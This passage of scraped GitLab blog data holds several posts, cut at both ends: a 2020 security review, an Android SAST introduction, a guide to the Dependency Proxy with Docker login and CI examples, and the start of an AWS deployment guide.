reviews.  As a result, we saw a substantial improvement in customer adoption and third party security scoring.\n\nAs we look ahead into 2021, we will continue to focus on strengthening the security of GitLab Core and SaaS through a number of new and improved security features and services.  Further, we will ambitiously pursue a host of compliance certifications to independently validate implemented security controls designed to protect company and customer data.  Lastly, we continue to strive for and assert ourselves as the [most transparent security organization](/handbook/security/) in the world.  We are committed to finding creative and innovative ways of sharing our approach to security openly in our publicly available [handbook](/handbook/security/) and [blogs](/blog/tags.html#security).\n\n## Stronger intel for increased visibility, detection and response\n\n### Next gen SIEM\nIn October, our [Security Incident Response team (SIRT)](/handbook/security/#sirt---security-incident-response-team-former-security-operations) onboarded a next generation SIEM from [Panther Labs](https://runpanther.io/) to increase visibility into our environments, improve processes around our log volumes, and build modern detection and response processes. This increased visibility into the infrastructure for GitLab.com and the GitLab organization allows SIRT to more effectively reduce risk for customers and users and increases confidence in our platform. By leveraging modern tooling, we are able to manage the large volumes of logs and event data that are produced each day, scale our processes, and highlight potentially serious issues before they impact the community. In 2021, we’ll dive into this tooling and further build upon our detection and response processes and capabilities.\n\n### Publicly-available deep dives into technical challenges\nDuring our day-to-day work, the GitLab [Red Team](/handbook/security/threat-management/red-team/) often stumbles upon technical challenges that we need to overcome. We felt that it was important to capture these challenges and the solutions we discover and document them to help others who may be doing similar work and encountering the same problems. We created a public project called [Red Team Tech Notes](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/red-team-tech-notes) and began documenting things there. This project contains everything from our public technical presentations to research papers and discovered vulnerabilities. By sharing this information publicly, others can learn and benefit from our work and experiences. In addition, we encourage the community to provide us with feedback on our research that may help us learn new things, improve our operations and increase the value and quality of our content. In 2021, we'll be focusing on purple-teaming, business relevant table-top exercises and improving existing tooling to aid our SIRT team operations.  We're also going to be holding an [Ask Me Anything/AMA session on Jan 26](https://docs.google.com/forms/d/e/1FAIpQLSekc1LYWYbhORNzZvLza8Btn9V0wY7K9SGVZed5RpJbczqdfw/viewform?usp=sf_link) and we'd love for you to join us.\n\n**Note:** Shout out to [@Jurbanc](https://gitlab.com/jurbanc) and [@smanzuik](https://gitlab.com/smanzuik) who provided content for this section!\n{: .note}\n\n## Security assurance: from audits to automation\n\n### Achieving SOC2 compliance\nOur [Security Assurance team](/handbook/security/security-assurance/) team kicked off 2020 with the achievement our first security certification in February, a [SOC 2 Type 1 report](/handbook/security/security-assurance/security-compliance/certifications.html) based on the trust service criteria related to security. Obtaining the SOC 2 Type 1 report provides our customers with a measurable result of GitLab, Inc. and GitLab.com’s overall security posture. Additionally, the report provides insight into security and entity level controls implemented at GitLab to ensure compliance with industry standard security requirements. It also serves as attestation by an independent third-party on the effectiveness of our security controls for the proper storage and processing of client data. We blogged about our experience in this first audit in [“The benefits of transparency in a compliance audit”](/blog/benefits-of-transparency-in-compliance/).\n\n### Proactive security risk identification and mitigation\nLater in 2020 (April and May), our team formally established a [Security Operational Risk Management program (StORM)](/handbook/security/security-assurance/security-risk/storm-program/index.html) and executed our first NIST/ISO based annual security risk assessment. StORM implements a proactive approach to identifying and mitigating security risks for GitLab the company and the product. In building this program, the Security Assurance team identified risk factors surrounding the impact of security risks internally, to customers and to our legal and regulatory obligations. This program helps us prioritize risk mitigation activities according to the impact a security risk may have on customers and provides customers with assurance that security risks impacting the GitLab product are triaged and mitigated accordingly, based on the risk level.\n\n### Your questions, answered transparently and efficiently\nTo increase transparency and support self-serve access to GitLab’s security information and collateral, our Security Assurance team deployed the first iteration of GitLab’s [Customer Assurance Package (CAP)](/handbook/security/security-assurance/field-security/customer-assurance-package.html) in April. Like all software vendors, we routinely receive requests about the security posture of our products and services from customers and potential customers. The CAP increases our efficiency and reduces time to closure of vendor security assessments on GitLab. Our intent is to continue to grow and curate package content based on GitLab customer needs. Since deployment, the CAP has matured to version 2.0 and an internal RFP tool, [GitLab AnswerBase](/handbook/security/security-assurance/field-security/answerbase.html), has been deployed using GitLab.com to enable future package expansion through standardization and automation.\n\nWhat’s next? Our Security Assurance team has kicked off SOC 2 Type 2 and SOC 3 audits and look forward to receiving and sharing reports in Q1 2021. The new year will also bring a heavy focus on automating continuous control monitoring and expansion of our CAP to better meet our customers needs.\n\n**Note:** Shout out to [@mmaneval20](https://gitlab.com/mmaneval20), [@sttruong](https://gitlab.com/sttruong),   [@lcoleman](https://gitlab.com/lcoleman) [@dsharris](https://gitlab.com/dsharris) and  [@julia.lake](https://gitlab.com/Julia.Lake) who provided content for this section! \n{: .note}\n\n## Securing our product with automation, dependency scanning and bug hunting\n\n### Preventing accidental key disclosure\nThe Security Automation team, in collaboration with the GitLab Secure & Protect teams and our AWS Security counterparts, has developed functionality to identify AWS instance keys that are accidentally publicly disclosed through a repo on GitLab.com. [The new functionality](/releases/2020/11/22/gitlab-13-6-released/#support-for-post-processing-of-leaked-secrets) will alert AWS of the disclosure and the finding will appear in the security dashboard within the GitLab project. The issue of accidental key disclosure is serious and warranted action to protect our customers and community members from key compromises that could lead to significant data breaches and unexpected incurred infrastructure costs. This added functionality allows the repo owner and AWS to take action to prevent the malicious use of the disclosed key.\n\n### Package Hunter for enhanced dependency scanning \nApplications today tend to rely upon 3rd-party dependencies to enable functionality, but securing that supply chain is a difficult problem. Most existing dependency chain security tools help developers to identify dependencies known to be malicious or with known vulnerabilities. The [Security Research team](/handbook/security/threat-management/security-research/) has developed a product, called Package Hunter to identify malicious packages using dynamic behavior analysis. The type of malicious dependencies that Package Hunter seeks to identify are those that try to exfiltrate sensitive data, or run unintended code, such as a cryptocurrency miner. Package Hunter is still in the prototype phase, but is already running in GitLab pipelines as we work on maturing its functionality. It enhances existing dependency security tools by identifying not previously known malicious packages as part of their security testing and will help developers avoid adding malicious dependencies before merging them fully into their application.The hope is to transition Package Hunter into a product feature that all customers can use to secure their applications.\n\n### Squashing bugs and vulnerabilities\nOur [bug bounty program](https://hackerone.com/gitlab) takes a community-driven, hacker-powered approach to security and plays a crucial role in our multilayered approach to reducing risk.  2020 was a big year for this program, starting off with a bang as we hit the [million dollar bounties paid](/blog/celebrating-one-million-bug-bounties-paid/) milestone in January, followed by making our way to #6 on [HackerOne’s 2020 Top Ten Public Bug Bounties program list](https://www.hackerone.com/resources/e-book/top-10-bounty-programs-2020) in June. Throughout the year, the program received a total of 1082 reports from 508 security researchers and awarded $381K USD in bounties. Our development teams resolved 268 reports and, true to our value of transparency, we have made 133 of those reports public [(see our disclosure policy)](https://hackerone.com/gitlab/#disclosure). The success of this program and the innovative contributions from these deeply talented security researchers across the globe further secures and strengthens our product and company. In 2021, we’ll continue refining our processes, driving down triage and response times, and developing [initiatives focused on recognition and engagement](https://about.gitlab.com/blog/twenty-twenty-through-a-bug-bounty-lens/#bug-bounty-program-updates). You can read more about this program in this [HackerOne case study](https://www.hackerone.com/resources/gitlab/gitlabs-approach-to-security). \n\n**Note:** Shout out to [@laurence.bierner](https://gitlab.com/laurence.bierner), [@dappelt](https://gitlab.com/dappelt), [@estrike](https://gitlab.com/estrike) and [@heather](https://gitlab.com/heather) who provided content for this section! \n{: .note}\n",[674,676],{"slug":20327,"featured":6,"template":678},"how-we-made-gitlab-more-secure-in-twenty-twenty","content:en-us:blog:how-we-made-gitlab-more-secure-in-twenty-twenty.yml","How We Made Gitlab More Secure In Twenty Twenty","en-us/blog/how-we-made-gitlab-more-secure-in-twenty-twenty.yml","en-us/blog/how-we-made-gitlab-more-secure-in-twenty-twenty",{"_path":20333,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20334,"content":20339,"config":20343,"_id":20345,"_type":16,"title":20346,"_source":17,"_file":20347,"_stem":20348,"_extension":20},"/en-us/blog/mobile-static-application-security-testing-for-android",{"title":20335,"description":20336,"ogTitle":20335,"ogDescription":20336,"noIndex":6,"ogImage":14173,"ogUrl":20337,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20337,"schema":20338},"Android App Security Testing with SAST","Learn how to secure your Android application with Static Application Security Testing.","https://about.gitlab.com/blog/mobile-static-application-security-testing-for-android","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Android App Security Testing with SAST\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2020-12-16\",\n      }",{"title":20335,"description":20336,"authors":20340,"heroImage":14173,"date":20323,"body":20341,"category":674,"tags":20342},[1622],"\n\nAt GitLab, everyone can contribute! [GitLab 13.5](/releases/2020/10/22/gitlab-13-5-released/) included an [integration for Mobile Static\nApplication Security Testing (SAST)](/releases/2020/10/22/gitlab-13-5-released/#sast-support-for-ios-and-android-mobile-apps) from one of our customers. For their contribution, the \n[H-E-B Digital](https://digital.heb.com/) team were [October 2020's MVP](/releases/2020/10/22/gitlab-13-5-released/#mvp).\n\nTheir contribution enables SAST for mobile applications. This includes iOS apps written in Objective-C\nand Swift as well as Android apps written in Java and Kotlin. \n\nThis blog post will go over how Mobile SAST works on Android.\n\n## Static Application Security Testing\n\n[Static Application Security Testing](https://docs.gitlab.com/ee/user/application_security/sast/) analyzes source code for known vulnerabilities.\nSAST is used to detect potentially dangerous attributes in a class, or unsafe code that can\nlead to unintended code execution, as well as other issues such as SQL Injection. More information\non SAST can be seen in the [OWASP Documentation](https://owasp.org/www-community/controls/Static_Code_Analysis).\n\nHere is a video which goes over [setting up SAST for Mobile](https://docs.gitlab.com/ee/user/application_security/sast/#experimental-features), as well as a sample application\nyou can use to get started:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/v0GhEHZWtdw\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nIn a nutshell, after the scanner has been configured, whenever an MR is created the\nscanner runs on the application source code and looks for patterns to determine if\nthat code is vulnerable. This is covered below.\n\nInitially this analyzer supports source code analysis but we intend to [expand support for binary\nscanning](https://gitlab.com/gitlab-org/gitlab/-/issues/269915) of .ipa and .apk files in the near future.\n\n## Understanding security rules\n\nSAST for mobile applications uses the Mobile Security Framework (MobSF) to scan source code. MobSF\nuses certain rules in order to determine if an application is vulnerable. The rules used to scan\nmobile applications can be seen in their [rules file](https://github.com/MobSF/Mobile-Security-Framework-MobSF/tree/master/StaticAnalyzer/views/android/rules).\nThese rules use [regex](https://en.wikipedia.org/wiki/Regular_expression) in order to find vulnerabilities in the static code.\n \nYou can also [contribute your own rules](https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/master/.github/CONTRIBUTING.md) if you have thoghts on enhancements.\nI made a small change to [enable a regex to work on Kotlin](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/1611).\nNot only can everyone contribute at GitLab, we encourage team members to contribute to other open source projects.\n\nNote: You will have to test your changes before they can be approved. In order to do this, you must [install\nyour branch as seen here](https://mobsf.github.io/docs/#/installation).\n\n## Adding your own scanners\n\nGitLab allows for lots of extensibility. Using our [integration guidance](https://docs.gitlab.com/ee/development/integrations/secure.html), you can bring your own scanners into the\nmerge request pipeline and the security dashboards. This was done for MobSF SAST, as well as the [WhiteSource\nDependency Scanner](/blog/whitesource-for-dependency-scanning/).\n\nI hope you enjoyed this blog post. Now you can start making your Android applications more secure.\nYou can reach out on Twitter and share your thoughts with us [@GitLab](https://twitter.com/gitlab)!\n",[674,4103,754,232,815],{"slug":20344,"featured":6,"template":678},"mobile-static-application-security-testing-for-android","content:en-us:blog:mobile-static-application-security-testing-for-android.yml","Mobile Static Application Security Testing For Android","en-us/blog/mobile-static-application-security-testing-for-android.yml","en-us/blog/mobile-static-application-security-testing-for-android",{"_path":20350,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20351,"content":20357,"config":20363,"_id":20365,"_type":16,"title":20366,"_source":17,"_file":20367,"_stem":20368,"_extension":20},"/en-us/blog/dependency-proxy-updates",{"title":20352,"description":20353,"ogTitle":20352,"ogDescription":20353,"noIndex":6,"ogImage":20354,"ogUrl":20355,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20355,"schema":20356},"Using the Dependency Proxy to improve your pipelines","The Dependency Proxy helps make pipelines faster and mitigates Docker Hub rate limits.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681815/Blog/Hero%20Images/dependency_proxy_header.jpg","https://about.gitlab.com/blog/dependency-proxy-updates","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Using the Dependency Proxy to improve your pipelines\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Steve Abrams\"}],\n        \"datePublished\": \"2020-12-15\",\n      }",{"title":20352,"description":20353,"authors":20358,"heroImage":20354,"date":20360,"body":20361,"category":18484,"tags":20362},[20359],"Steve Abrams","2020-12-15","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nHi! I'm Steve, a backend engineer at GitLab. I work on the Package stage, which includes the Dependency Proxy.\n\nIn versions 13.6 and 13.7, we improved the [Dependency Proxy](https://docs.gitlab.com/ee/user/packages/dependency_proxy/) so it's no longer an [MVC feature](https://about.gitlab.com/handbook/product/product-principles/#the-minimal-viable-change-mvc). Before, the Dependency Proxy was only available to paid users who may have been wary to use it, because they did not want to be forced to use a public group. Now the Dependency Proxy is a robust free feature that can really provide value for free and paid users alike.\n\nIf you haven't tried the feature out before, now is a great time to take a look. If you have previously tried the Dependency Proxy and found it was not quite the solution you were looking for, I invite you to take a look at the new functionality detailed here. The Dependency Proxy is more available, more secure, and easier to use than ever. These updates also come right as Docker Hub has rolled out rate limits on image pulls, which the Dependency Proxy can help alleviate.\n\nYou can also watch a demo of most of these features in this video:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/Nc4nUo7Pq08\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Move to Core\n\nIn 13.6, we moved the [Dependency Proxy to Core](/releases/2020/11/22/gitlab-13-6-released/#the-dependency-proxy-is-now-open-source). The ability to speed up pipelines and create a safety net behind Docker Hub seemed like functionality that everyone should benefit from.\n\n## Support for private groups\n\nStarting in 13.7, you can now use the Dependency Proxy with all groups. Each group and subgroup can have its own space to cache images.\n\n![Dependency Proxy interface](https://about.gitlab.com/images/blogimages/dependency_proxy_interface.png)\n\n## Authentication\n\n[Authentication](https://docs.gitlab.com/ee/user/packages/dependency_proxy/#authenticate-with-the-dependency-proxy) is also new in 13.7. If you had previously used the Dependency Proxy, you will need to update your CI scripts or workflow to make sure that you are now logged in.\n\nAuthentication was not only necessary to enable the ability to support private groups with the Dependency Proxy, but it's also a security upgrade. The Dependency Proxy caches image data in your group's storage, so without authentication, public groups could easily be abused to store images that your group might not even be using.\n\n### How does it work\n\nThe Dependency Proxy is a proxy, so from the perspective of the Docker client, it is just another registry to authenticate with:\n\n```shell\ndocker login --username stanley --password tanuki gitlab.com\n```\n\nWhen Docker makes a request to a registry it first asks:\n\n```shell\nGET gitlab.com/v2 # are you a registry?\n```\n\nTo which GitLab responds:\n\n```shell\n401 Unauthorized\n\nWWW-Authenticate: Bearer realm=https://gitlab.com/auth/jwt, service=dependency_proxy\n# Yes! But you have to get permission to access me.\n# Please request a token from this other URL first.\n```\n\nThen Docker requests a token using the username and password you supplied, and if things check out, GitLab returns a JWT. Docker uses it to make its next request, which in the case of the Dependency Proxy is the image pull. If things don't check out, you'll likely see a `403 Forbidden` error.\n\n## Docker Hub rate limiting\n\nIn November 2020, Docker Hub began rate limiting image pulls. The Dependency Proxy was already caching the image layers (blobs), so it made sense that [the Dependency Proxy should help mitigate this problem for users](https://docs.gitlab.com/ee/user/packages/dependency_proxy/#docker-hub-rate-limits-and-the-dependency-proxy).\n\nIt is not uncommon for a project's pipeline to run every time a user pushes a commit. In an active project or group, this could happen many times in an hour. If your CI script starts with something as simple as:\n\n```yaml\nimage: node:latest\n```\n\nEvery time your pipeline runs, even though you are using the same image every time, Docker will count an additional image pull against your account.\n\nAn image consists of many different files, and a `docker pull` command will make several requests. So what counts as one image pull?\n\nThere are two types of files that make up an image. First is the manifest. You can think of it as a table of contents for an image. It contains information about what layers, or blobs, the image is made of. Once the Docker client has received the manifest, it will make a request for each blob described in the manifest.\n\nDocker uses the [manifest requests to count the image pulls](https://docs.docker.com/docker-hub/download-rate-limit/). This means that if the Dependency Proxy is going to help mitigate the rate limiting, it needs to store the manifest in addition to the blobs. This presents a small problem: a manifest is usually requested by tag name, which is a mutable reference. If I request `node:latest` this week, it might be different than the `node:latest` I requested last week. Each manifest contains a digest, or hash signature, that can be used to tell if it has changed. You can see this digest when you pull the image:\n\n```shell\n$ docker pull alpine:latest\n\nlatest: Pulling from library/alpine\nDigest: sha256:a126728cb7db157f0deb377bcba3c5e473e612d7bafc27f6bb4e5e083f9f08c2\nStatus: Image is up to date for alpine:latest\ndocker.io/library/alpine:latest\n```\n\nDocker has allowed HEAD requests to be made for a manifest for free. The HEAD request response contains the digest of the underlying manifest. So we can make a HEAD request to determine if the manifest we have cached in the Dependency Proxy is up to date.\n\n```shell\ncurl --head -H \"Authorization: Bearer $TOKEN\" https://registry-1.docker.io/v2/library/alpine/manifests/latest\n\nHTTP/1.1 200 OK\nContent-Length: 2782\nContent-Type: application/vnd.docker.distribution.manifest.v1+prettyjws\nDocker-Content-Digest: sha256:a126728cb7db157f0deb377bcba3c5e473e612d7bafc27f6bb4e5e083f9f08c2\nDocker-Distribution-Api-Version: registry/2.0\nEtag: \"sha256:a126728cb7db157f0deb377bcba3c5e473e612d7bafc27f6bb4e5e083f9f08c2\"\nDate: Wed, 15 Dec 2020 03:34:24 GMT\nStrict-Transport-Security: max-age=31536000\nRateLimit-Limit: 100;w=21600\nRateLimit-Remaining: 72;w=21600\n```\n\nThe response even contains information telling us how many requests we have remaining within our rate limit. In this example, we see we have 72 out of 100 remaining.\n\nWhen the Dependency Proxy first receives a request for the manifest, it decides whether or not it needs to pull an image from Docker Hub based on a few rules:\n\n![Dependency Proxy manifest caching](https://about.gitlab.com/images/blogimages/dependency_proxy_flow_chart.png)\n\nThe really great thing about the Dependency Proxy is that you don't have to do anything special to take advantage of these abilities. If you simply update your CI script with your Dependency Proxy image prefix to something like:\n\n```yaml\nimage: gitlab.com/super-awesome-group/dependency_proxy/containers/node:latest\n```\n\nThen you will automatically bypass Docker Hub rate limiting and your cache will have the most up-to-date version of each image tag.\n\n## CI/CD\n\nThe Dependency Proxy makes the most sense as a compliment to CI/CD pipelines. Rather than pulling directly from Docker Hub, you can use the Dependency Proxy to speed up your pipelines, avoid rate limiting, and create security in case of an upstream outage.\n\nAs of 13.9, runners log in to the Dependency Proxy automatically, so you don't need to explicitly log in unless you want to for reasons like using specific tokens.\n\nTo make the Dependency Proxy easier to use, we have added a few predefined environment variables you can use in your `.gitlab-ci.yml` files.\n\n- `CI_DEPENDENCY_PROXY_USER`: A CI user for logging in to the Dependency Proxy.\n- `CI_DEPENDENCY_PROXY_PASSWORD`: A CI password for logging in to the Dependency Proxy.\n- `CI_DEPENDENCY_PROXY_SERVER`: The server for logging in to the Dependency Proxy.\n- `CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX`: The image prefix for pulling images through the Dependency Proxy. This pulls through the top-level group.\n- `CI_DEPENDENCY_PROXY_DIRECT_GROUP_IMAGE_PREFIX` (starting in version 14.3): An alternative image prefix for pulling images through the Dependency Proxy. This pulls through the subgroup, or direct group the project exists in.\n\nDepending on how your scripts and pipelines look you can use these variables in a variety of ways. If you are manually pulling images in the script using `docker pull`, you can log in and pull like this:\n\n```yaml\n# .gitlab-ci.yml\n\ndependency-proxy-pull-master:\n  # Official docker image.\n  image: docker:latest\n  stage: build\n  services:\n    - docker:dind\n  before_script:\n    - docker login -u \"$CI_DEPENDENCY_PROXY_USER\" -p \"$CI_DEPENDENCY_PROXY_PASSWORD\" \"$CI_DEPENDENCY_PROXY_SERVER\"\n  script:\n    - docker pull \"$CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX\"/alpine:latest\n```\n\nIf you want to use the Dependency Proxy to pull images defined as `image` yaml attributes (the base images of the script), you can [create a custom environment variable](https://docs.gitlab.com/ee/ci/variables/#custom-cicd-variables) named `DOCKER_AUTH_CONFIG` with a value of:\n\n```yaml\n{\n    \"auths\": {\n        \"https://gitlab.com:443\": { # if you are using $CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX, you should explicitely include the port here.\n            \"auth\": \"(Base64 of username:password)\"\n        }\n    }\n}\n```\n\nYou will need to calculate the base64 value of your credentials. You can do this from the command line:\n\n```shell\n# The use of \"-n\" - prevents encoding a newline in the password.\necho -n \"my_username:my_password\" | base64\n\n# Example output to copy\nbXlfdXNlcm5hbWU6bXlfcGFzc3dvcmQ==\n\n# A personal access token also works!\necho -n \"my_username:personal_access_token\" | base64\n```\n\nOnce you have the custom environment variable defined, you can use the Dependency Proxy without having to manually log in within your CI script:\n\n```yaml\n# This is a working script that would publish an NPM package to the GitLab package registry\n# if a properly formatted package.json file exists in the project root.\nimage: ${CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX}/node:latest\n\nstages:\n  - deploy\n\ndeploy:\n  stage: deploy\n  script:\n    - echo \"//gitlab.com/api/v4/projects/${CI_PROJECT_ID}/packages/npm/:_authToken=${CI_JOB_TOKEN}\">.npmrc\n    - npm publish\n```\n\n## Support when Docker Hub is offline\n\nBy caching all files that make up an image, we also now have the ability to keep pipelines green even if Docker Hub experiences an outage. As long as the Dependency Proxy has the image you are using cached, when it makes the HEAD request to check if the cached image is stale or not, if the HEAD request fails, we will just fall back to the cached image.\n\nThanks for reading! If you haven't used the Dependency Proxy yet, [get started using it today](https://docs.gitlab.com/ee/user/packages/dependency_proxy/)!\n\n## Updates\n\nSince this was published in December 2020, there have been many additional improvements and changes to the Dependency Proxy. As a result, some of the suggested approaches in this post have been improved or have become outdated. I suggest looking through [the most recent documentation](https://docs.gitlab.com/ee/user/packages/dependency_proxy/) to learn more.\n",[110,754],{"slug":20364,"featured":6,"template":678},"dependency-proxy-updates","content:en-us:blog:dependency-proxy-updates.yml","Dependency Proxy Updates","en-us/blog/dependency-proxy-updates.yml","en-us/blog/dependency-proxy-updates",{"_path":20370,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20371,"content":20377,"config":20381,"_id":20383,"_type":16,"title":20384,"_source":17,"_file":20385,"_stem":20386,"_extension":20},"/en-us/blog/deploy-aws",{"title":20372,"description":20373,"ogTitle":20372,"ogDescription":20373,"noIndex":6,"ogImage":20374,"ogUrl":20375,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20375,"schema":20376},"How to deploy to AWS with GitLab","We believe deploying to the cloud should be easy and boring. The deployment process is the same regardless of what tech stack you're using so why not automate it?","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672124/Blog/Hero%20Images/aws_rocket.jpg","https://about.gitlab.com/blog/deploy-aws","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to deploy to AWS with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Orit Golowinski\"}],\n        \"datePublished\": \"2020-12-15\",\n      }",{"title":20372,"description":20373,"authors":20378,"heroImage":20374,"date":20360,"body":20379,"category":734,"tags":20380},[15485],"\nCloud computing services are replacing traditional hardware technologies at an extremely fast pace. The majority of businesses worldwide are already moving their applications to the cloud — both public and private cloud — or plan to in the near future. Over a short period of time, this technology took over the market as businesses preferred remote access to data as well as the cloud's scalability, economy, and reach.\n\n## AWS Deployment: deploying applications to the cloud\n\nCOVID-19 and the resulting trend toward remote work forced organizations to adopt cloud technologies even if they hadn’t planned to originally. Software deployment to the cloud has also increased. Cloud is no longer just virtual machines, organizations are driving the use of [Containers as a Service (CaaS)](https://searchitoperations.techtarget.com/definition/Containers-as-a-Service-CaaS) due to their growing interest in leveraging containers to ease development and testing, speed up deployment, scale operations, and increase the efficiency of workloads running in the cloud.\n\nSince deployment to the cloud has become a standard practice, at GitLab we want to make this repeatable and [boring](https://handbook.gitlab.com/handbook/values/#boring-solutions). In this blog post, we explain how we've made it easier to deploy to Amazon Web Services (AWS) as part of your deployment process. We invite users to replicate this example to deploy to other cloud providers in a similar way.\n\nSince we want cloud deployment to be as flexible as possible (similar to a microservices architecture), we constructed atomic Docker images that function as building blocks. Users can use these images as part of their custom `gitlab-ci.yml` file or use our predefined `.gitlab-ci.yml` templates. We also added the ability to use [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) with the new AWS deployment targets.\n\n## AWS Deployment: how to use GitLab's official AWS Docker Images\n\n### AWS CLI Docker image\nIn [GitLab 12.6](/releases/2019/12/22/gitlab-12-6-released/), we provided an official GitLab [AWS cloud-deploy](https://gitlab.com/gitlab-org/cloud-deploy/-/blob/master/aws/cloud_deploy/Dockerfile) Docker image that downloads and installs the [AWS CLI](https://aws.amazon.com/cli/). This allows users to run `aws` commands directly from their pipelines. For more information, see [Run AWS commands from GitLab CI/CD](https://docs.gitlab.com/ee/ci/cloud_deployment/#run-aws-commands-from-gitlab-cicd).\n\n### CloudFormation stack creation Docker image\nIn [GitLab 13.5](/releases/2020/10/22/gitlab-13-5-released/), we provided a Docker image that runs a script that [creates a stack with CloudFormation](https://gitlab.com/gitlab-org/cloud-deploy/-/blob/master/aws/src/bin/gl-cloudformation). The `gl-cloudprovision create-stack` uses [aws cloudformation create-stack](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/template-anatomy.html) behind the scenes. A JSON file based on the CloudFormation template must be passed to that command. For an example of this type of JSON file, see [`cf_create_stack.json`](https://gitlab.com/ebaque/jekyll-demo/-/blob/deploy-to-ec2/aws/cf_create_stack.json). With this type of JSON file, the command creates the infrastructure on AWS, including an EC2 instance directly from the `.gitlab-ci.yml` file. The script exists once we get confirmation that the stack setup is complete or has failed (through periodic polling).\n\n### Push to S3 and Deploy to EC2 Docker image\nIn [GitLab 13.5](/releases/2020/10/22/gitlab-13-5-released/) we also provided a Docker image with [Push to S3 and Deploy to EC2 scripts](https://gitlab.com/gitlab-org/cloud-deploy/-/blob/master/aws/src/bin/gl-ec2). The `gl-ec2 push-to-s3` script pushes source code to an S3 bucket. For an example of the JSON file to pass to the `aws deploy push` command, see [`s3_push.json`](https://gitlab.com/ebaque/jekyll-demo/-/blob/deploy-to-ec2/aws/s3_push.json). This code can be whatever artifact is built from a preceding build job. The `gl-ec2 deploy-to-ec2` script uses `aws deploy create-deployment` behind the scenes to create a deployment to an EC2 instance directly from the `.gitlab-ci.yml` file. For an example of the JSON template to pass, see [`create_deployment.json`](https://gitlab.com/ebaque/jekyll-demo/-/blob/deploy-to-ec2/aws/create_deployment.json). The script ends once we get confirmation that the deployment has succeeded or failed (via polling).\n\n## AWS Deployment: using GitLab CI templates to deploy to AWS\n\n### How to deploy to Elastic Container Service (ECS) with GitLab\nIn [GitLab 12.9](/releases/2020/03/22/gitlab-12-9-released/), we created a full `.gitlab-ci.yml` template called [`Deploy-ECS.giltab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Deploy/ECS.gitlab-ci.yml) that deploys to Amazon ECS and extends support for Fargate. Users can include the template in their configuration, specify a few variables, and their application will be deployed and ready to go in no time. This template can be customized for your specific needs. For example: Replacing the selected container registry, changing the path of the file location, etc.\n\n### How to deploy to Elastic Cloud Compute (EC2) with GitLab\nIn [GitLab 13.5](/releases/2020/10/22/gitlab-13-5-released/), we created a full `.gitlab-ci.yml` template called [`CF-Provision-and-Deploy-EC2.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Deploy/EC2.gitlab-ci.yml) that provisions the infrastructure by leveraging [AWS CloudFormation](https://aws.amazon.com/cloudformation/). It then pushes your previously-built artifact to an [AWS S3 bucket](https://aws.amazon.com/s3/) and deploys the pushed content to [AWS EC2](https://aws.amazon.com/ec2/).\n\n## AWS Deployment: security  considerations\n\n### Predefined AWS CI/CD variables\n\nIn order to deploy to AWS, you must use AWS security keys to connect to to your AWS instance. Users can define this security keys as [CI/CD environment](/topics/ci-cd/) variables that can be used by the deployment pipeline.\n\nIn [GitLab 12.9](/releases/2020/03/22/gitlab-12-9-released/), we added support for predefined AWS variables. This support function helps users know which variables are required for deploying to AWS and also prevents typos and spelling mistakes.\n\n| Env. variable name | Value|\n| --- | --- |\n| `AWS_ACCESS_KEY_ID` | Your Access key ID |\n| `AWS_SECRET_ACCESS_KEY` | Your Secret access key |\n| `AWS_DEFAULT_REGION` | Your region code |\n\n### \"Just-in-time\" guidance for AWS deployments\n\n[GitLab 13.1](/releases/2020/06/22/gitlab-13-1-released/) provides just-in-time guidance for users who wish to deploy to AWS. Setting up AWS deployments isn't always as easy as we'd like it to be, so we've added in-product links to our AWS templates and documentation when you start adding AWS CI/CD variables to make it easier for you to use our AWS features. This will help you get up and running faster.\n\n![In-product guidance for AWS](https://about.gitlab.com/images/blogimages/aws_guide.png)\n\nAWS guide from CI/CD variables\n\n### Added security for the GitLab's official AWS Docker images\n\nIn [GitLab 13.5](/releases/2020/10/22/gitlab-13-5-released/), we changed the image identifier from the release version number to the Docker image digest. Docker supports immutable image identifiers and we adopted this best practice to update our cloud-deploy images. When a new image is tagged, we also programmatically retrieve the image digest upon its build and create a release note to effectively communicate this digest to users. This guarantees that every instance of the service runs exactly the same code. You can roll back to an earlier version of the image, even if that version wasn't tagged (or is no longer tagged). This can even prevent race conditions if a new image is pushed while a deploy is in progress.\n\n![Docker Image Digest](https://about.gitlab.com/images/blogimages/digest1.png)\n\nDocker image digest or release tag\n\n## AWS Deployment: auto DevOps support\n\nGitLab already supports Kubernetes users deploying to AWS EKS 